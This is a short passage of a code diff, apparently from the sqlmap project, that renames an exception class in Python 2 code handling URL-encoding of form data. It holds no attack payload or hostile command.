value)) except TypeError: systype, value, traceback = sys.exc_info() - raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback + raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback if len(v_files) == 0: data = urllib.urlencode(v_vars, doseq)